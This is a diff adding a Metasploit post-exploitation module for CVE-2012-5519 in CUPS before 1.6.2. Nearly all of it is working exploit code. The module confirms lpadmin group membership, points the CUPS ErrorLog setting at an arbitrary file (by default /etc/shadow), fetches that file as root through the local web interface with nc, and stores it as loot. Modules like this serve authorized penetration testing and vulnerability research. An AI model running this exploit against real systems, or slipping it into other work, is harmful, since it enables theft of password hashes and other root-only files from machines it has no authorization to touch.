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+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+class Metasploit3 < Msf::Post
+  include Msf::Post::File
+  include Msf::Post::Common
+
+  LP_GROUPS = ['lpadmin', '_lpadmin']
+
+  attr_accessor :web_server_was_disabled, :error_log_was_reset
+
+  def initialize(info={})
+    super( update_info( info, {
+      'Name'           => 'CUPS 1.6.1 Root File Read',
+      'Description'    => %q{
+        This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
+        CUPS allows members of the lpadmin group to make changes to the cupsd.conf
+        configuration, which can specify an Error Log path. When the user visits the
+        Error Log page in the web interface, the cupsd daemon (running with setuid root)
+        reads the Error Log path and echoes it as plaintext.
+
+        This module is known to work on:
+
+        - Mac OS X < 10.8.4
+        - Ubuntu Desktop <= 12.0.4
+
+        ...as long as the session is in the lpadmin group.
+
+        Warning: if the user has set up a custom path to the CUPS error log,
+        this module might fail to reset that path correctly. You can specify
+        a custom error log path with the ERROR_LOG datastore option.
+      },
+      'References'     =>
+        [
+          ['CVE', '2012-5519'],
+          ['OSVDB', '87635'],
+          ['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
+        ],
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          "Jann Horn", # discovery
+          "joev <jvennix[at]rapid7.com>" # metasploit module
+        ],
+      'DisclosureDate' => 'Nov 20 2012',
+      'Platform'       => ['osx', 'linux']
+    }))
+    register_options([
+      OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]),
+      OptString.new("ERROR_LOG",
+        [true, "The original path to the CUPS error log", '/var/log/cups/error_log']
+      )
+    ], self.class)
+  end
+
+  def check_exploitability
+    user = cmd_exec("whoami")
+    user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
+    if (user_groups & LP_GROUPS).empty?
+      print_error "User not in lpadmin group."
+      return Msf::Exploit::CheckCode::Safe
+    else
+      print_good "User in lpadmin group, continuing..."
+    end
+
+    if ctl_path.blank?
+      print_error "cupsctl binary not found in $PATH"
+      return Msf::Exploit::CheckCode::Safe
+    else
+      print_good "cupsctl binary found in $PATH"
+    end
+
+    nc_path = whereis("nc")
+    if nc_path.nil? or nc_path.blank?
+      print_error "Could not find nc executable"
+      return Msf::Exploit::CheckCode::Unknown
+    else
+      print_good "nc binary found in $PATH"
+    end
+
+    config_path = whereis("cups-config")
+    config_vn = nil
+
+    if config_path.nil? or config_path.blank?
+      # cups-config not present, ask the web interface what vn it is
+      output = get_request('/')
+      if output =~ /title.*CUPS\s+([\d\.]+)/i
+        config_vn = $1.strip
+      end
+    else
+      config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed
+    end
+
+    if config_vn.nil?
+      print_error "Could not determine CUPS version."
+      return Msf::Exploit::CheckCode::Unknown
+    end
+
+    print_status "Found CUPS #{config_vn}"
+
+    config_parts = config_vn.split('.')
+    if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2
+      Msf::Exploit::CheckCode::Vulnerable
+    else
+      Msf::Exploit::CheckCode::Safe
+    end
+  end
+
+  def run
+    if check_exploitability == Msf::Exploit::CheckCode::Safe
+      print_error "Target machine not vulnerable, bailing."
+      return
+    end
+
+    defaults = cmd_exec(ctl_path)
+    @web_server_was_disabled = defaults =~ /^WebInterface=no$/i
+
+    # first we set the error log to the path intended
+    cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
+    cmd_exec("#{ctl_path} WebInterface=yes")
+    @error_log_was_reset = true
+
+    # now we go grab it from the ErrorLog route
+    file = strip_http_headers(get_request('/admin/log/error_log'))
+
+    # and store as loot
+    f = File.basename(datastore['FILE'])
+    loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
+    print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
+  end
+
+  def cleanup
+    print_status "Cleaning up..."
+    cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
+    cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
+    super
+  end
+
+  private
+
+  def prev_error_log_path; datastore['ERROR_LOG']; end
+  def ctl_path; @ctl_path ||= whereis("cupsctl"); end
+  def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end
+
+  def whereis(exe)
+    line = cmd_exec("whereis #{exe}")
+    if line =~ /^\S+:\s*(\S*)/i
+      $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"
+    else
+      line # on osx it just returns '/usr/sbin/cupsctl'
+    end
+  end
+
+  def get_request(uri)
+    output = perform_request(uri, 'nc -j localhost 631')
+
+    if output =~ /^usage: nc/
+      output = perform_request(uri, 'nc localhost 631')
+    end
+
+    output
+  end
+
+  def perform_request(uri, nc_str)
+    # osx requires 3 newlines!
+    cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))
+  end
+end